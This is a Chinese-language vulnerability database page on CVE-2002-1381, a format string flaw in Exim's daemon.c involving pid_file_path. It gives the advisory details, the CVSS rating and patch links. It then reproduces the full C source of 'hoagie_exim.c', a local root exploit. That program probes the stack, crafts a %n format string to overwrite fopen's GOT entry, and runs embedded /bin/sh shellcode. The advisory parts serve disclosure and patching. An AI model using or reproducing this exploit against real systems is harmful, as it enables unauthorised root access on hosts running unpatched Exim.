CVE-2002-1381
CVSS7.2
发布时间 :2002-12-23 00:00:00
修订时间 :2016-10-17 22:26:34
NMCOE    

[原文]Format string vulnerability in daemon.c for Exim 4.x through 4.10, and 3.x through 3.36, allows exim administrative users to execute arbitrary code by modifying the pid_file_path value.


[CNNVD]Exim Internet Mailer本地格式串溢出漏洞(CNNVD-200212-056)

        
        Exim是一款开放源代码邮件客户端。
        Exim中的daemon_go()函数对提交的参数缺少正确检查,本地攻击者可以利用这个漏洞提交恶意参数进行格式字符串攻击,以root用户权限在系统上执行任意指令。
        在daemon.c,976行的daemon_go()函数中存在一个格式字符串漏洞:
        sprintf(CS buff, CS pid_file_path, ""); /* Backward compatibility */
        pid_file_path可以在命令行中由用户输入,如果攻击者提交包含恶意格式串的参数,就可以导致覆盖内存任意地址而以root用户权限执行任意指令。
        不过这个函数只有用户是exim-admin-user时才会被执行,而且要'exim-admin-user'必须在exim编译阶段指定。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:university_of_cambridge:exim:3.36
cpe:/a:university_of_cambridge:exim:3.35
cpe:/a:university_of_cambridge:exim:4.10

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1381
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1381
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-056
(官方数据源) CNNVD

- 其它链接及资源

http://groups.yahoo.com/group/exim-users/message/42358
(VENDOR_ADVISORY)  CONFIRM  http://groups.yahoo.com/group/exim-users/message/42358
http://marc.info/?l=bugtraq&m=103903403527788&w=2
(UNKNOWN)  BUGTRAQ  20021204 Local root vulnerability found in exim 4.x (and 3.x)
http://marc.info/?l=bugtraq&m=104006219018664&w=2
(UNKNOWN)  GENTOO  GLSA-200212-5
http://www.exim.org/pipermail/exim-users/Week-of-Mon-20021202/046978.html
(UNKNOWN)  MLIST  [Exim] 20021204 Minor security problem in both Exim 3 and 4
http://www.securityfocus.com/bid/6314
(UNKNOWN)  BID  6314
http://xforce.iss.net/xforce/xfdb/10761
(UNKNOWN)  XF  exim-daemonc-format-string(10761)

- 漏洞信息

Exim Internet Mailer本地格式串溢出漏洞
高危 输入验证
2002-12-23 00:00:00 2005-05-13 00:00:00
本地  
        
        Exim是一款开放源代码邮件客户端。
        Exim中的daemon_go()函数对提交的参数缺少正确检查,本地攻击者可以利用这个漏洞提交恶意参数进行格式字符串攻击,以root用户权限在系统上执行任意指令。
        在daemon.c,976行的daemon_go()函数中存在一个格式字符串漏洞:
        sprintf(CS buff, CS pid_file_path, ""); /* Backward compatibility */
        pid_file_path可以在命令行中由用户输入,如果攻击者提交包含恶意格式串的参数,就可以导致覆盖内存任意地址而以root用户权限执行任意指令。
        不过这个函数只有用户是exim-admin-user时才会被执行,而且要'exim-admin-user'必须在exim编译阶段指定。
        

- 公告与补丁

        厂商补丁:
        University of Cambridge
        -----------------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        University of Cambridge Exim 3.35:
        University of Cambridge Exim 3.36:
        Exim Patch exim336.patch
        
        http://downloads.securityfocus.com/vulnerabilities/patches/exim336.patch

        University of Cambridge Exim 4.10:
        Exim Patch exim410.patch
        
        http://downloads.securityfocus.com/vulnerabilities/patches/exim410.patch

- 漏洞信息 (22066)

Exim Internet Mailer 3.35/3.36/4.10 Format String Vulnerability (EDBID:22066)
linux local
2002-12-04 Verified
0 Thomas Wana
N/A [点击下载]
source: http://www.securityfocus.com/bid/6314/info

A format string vulnerability has been discovered in Exim. The problem occurs in the daemon_go() function. By supplying malicious format strings via the command line, it is possible for an attacker to execute arbitrary code with root privileges.

It should be noted that the execution of the daemon_go() function is limited to the user defined as the 'exim-admin-user'. The 'exim-admin-user' must be defined at compile time.

/***********************************************************
 * hoagie_exim.c
 *
 * local root exploit for exim 4.10 and probably others.
 * [only works for exim admin users]
 *
 * Format string bug when handling with the pid_file_path.
 * 
 * Author: Thomas Wana <01psi194@fhwn.ac.at>
 *
 * Greetz to andi and the other hoagie-fellas :-)
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
 * DAMAGE DONE USING THIS PROGRAM.
 *
 ************************************************************/

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <string.h>

/*******************************************************
 * CRUCIAL VALUES
 * 
 * these standard values work for Debian Woody i386,
 * source build. 
 *
 * Play with the padding if the program can't find the
 * right stackpop values.
 *
 * ALTERNATE_PORT is the port where exim will bind during
 * the stackpop sequences. The port will be incremented by
 * one for each try, so expect to have many instances of
 * exim running. (this is because the port is bound to as
 * root and the user program can't kill that process anymore)
 *
 * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
 *
 * Shellcode-Address can vary, it is dependant on the size
 * of the current environment. I had values between 0xbffffb00
 * and 0xbffffe90. 
 *
 ********************************************************/
#define PADDING 3
#define ALTERNATE_PORT 3330
#define FOPEN_GOT_ADDRESS 0x080b6194
#define SHELLCODE_ADDRESS 0xbffffd00

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
                 "\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
                 "\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
                 "\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
                 "\xff/bin/sh";

int port=ALTERNATE_PORT;
char path[100];

int check_for_AAAA(char *line)
{
   int rval=0;
   char *endptr;

   if(strstr(line,"too long"))
   {
      endptr=strrchr(line,':')-8;   
   }
   else
   {
      endptr=line+strlen(line)-1-8;
   }
   if(strstr(endptr,"41414141")) rval=1;
   return rval;
}

int calc_bytes_written(char *line)
{
   int rval=0;
   char *p;
   if((p=strrchr(line,':')))
   {
      rval=(p-line); 
   }
   else
   {
      rval=strlen(line);
   } 
   if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
   else rval-=strlen("failed to open pid file ");
   return rval;
}

void getstackpops(int *bigs, int *smalls, int *bytes_written)
{
   int cpid;
   int pipedes[2];
   int found=0;
   int bs=0, ss=1;
   char hilf[10];

   printf("Getting stackpops ...\n");
   *bigs=0;
   *smalls=1;

   while(!found)
   {
      if(pipe(pipedes))
      {
         perror("pipe");
         exit(1);
      }  
   
      port++;
      cpid=fork();
      if(cpid==0)
      {
         // child process
         
         char fs[10000];
         int i;
   
         // close stderr and recreate it pointing into the pipe
         close(2);
         dup2(pipedes[1],2);

         // make new formatstring

         strcpy(fs,"/tmp/%s");
         for(i=0;i<PADDING;i++)
            strcat(fs,"Z");
         strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
         for(i=0;i<bs;i++)
            strcat(fs,"%+e");
         for(i=0;i<ss;i++)
            strcat(fs,"%08x");

         // execute exim
         sprintf(hilf,"%d",port);
         execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
      }
      else if(cpid>0)
      {
         // parent process 
         FILE *fp=fdopen(pipedes[0],"r");
         char line[10000];
         if(fp) 
         {
            do
            {
               fgets(line,10000,fp);
               line[strlen(line)-1]=0;
   /*  printf("%s\n",line);  ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
               if(strstr(line,"pid written to ") ||
                  strstr(line,"failed to open pid file "))
               {
                  if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
                  if(check_for_AAAA(line)==1)
                  {
                     // stackpops found, values are OK
                     found=1;
                     bs--;         // revert 2 stackpops
                     printf("Stackpops found ;-)\n");
                     *bigs=bs;
                     *smalls=ss;
                     *bytes_written=calc_bytes_written(line)-13;
                  }
                  else
                  {
                     // increase stackpops
                     ss++;
                     if(ss==3) bs++, ss=1;
                     printf("trying bs=%d, ss=%d\n",bs,ss);
                  }
               }
            } while(!strstr(line,"Listening..."));
            fclose(fp);
         }
         else perror("fdopen");
         kill(cpid,SIGINT);
         usleep(100000);
      }
      else perror("fork"); 
      close(pipedes[0]);
      close(pipedes[1]);
   }
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3, 
                        int *p4, int bytes_written)
{
   // greetings to scud :-)
   int write_byte;
   int already_written;
   int padding;

   write_byte=SB1(addr);
   already_written=bytes_written;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p1=padding;

   write_byte=SB2(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p2=padding;

   write_byte=SB3(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p3=padding;

   write_byte=SB4(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p4=padding;
}

int main(int argc, char **argv)
{
   int bigpops, smallpops, bytes_written, i;
   unsigned char fs[10000], hilf[1000];
   unsigned long a=FOPEN_GOT_ADDRESS,
                 b=FOPEN_GOT_ADDRESS+1,
                 c=FOPEN_GOT_ADDRESS+2,
                 d=FOPEN_GOT_ADDRESS+3; 
   unsigned int p1,p2,p3,p4;

   if(argc!=2)
   {
      printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
      printf("./hoagie_exim path_to_exim\n\n");
      exit(1);
   }
   strcpy(path,argv[1]);        // exploiting an exploit? hehe

   getstackpops(&bigpops,&smallpops,&bytes_written);
   printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
   printf("Written bytes: %d\n",bytes_written);

   strcpy(fs,"/tmp/%s");
   for(i=0;i<PADDING;i++)
      strcat(fs,"Z");

   sprintf(hilf,"0000%c%c%c%c"
               "0000%c%c%c%c"
               "0000%c%c%c%c"
               "0000%c%c%c%c",
           SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
           SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d)); 
   strcat(fs,hilf);
   for(i=0;i<bigpops;i++)
      strcat(fs,"%+e");
   for(i=0;i<smallpops;i++)
      strcat(fs,"%08x"); 

   get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_written);

   sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
   strcat(fs,hilf);
  
   // GET ROOT 
   printf("calling exim with fs='%s'\n",fs);
   sprintf(hilf,"%d",++port);
   execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);

   return 0;
}


		

- 漏洞信息

10360
Exim daemon.c pid_file_path Variable Manipulation Arbitrary Command Execution

- 漏洞描述

- 时间线

2002-12-04 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站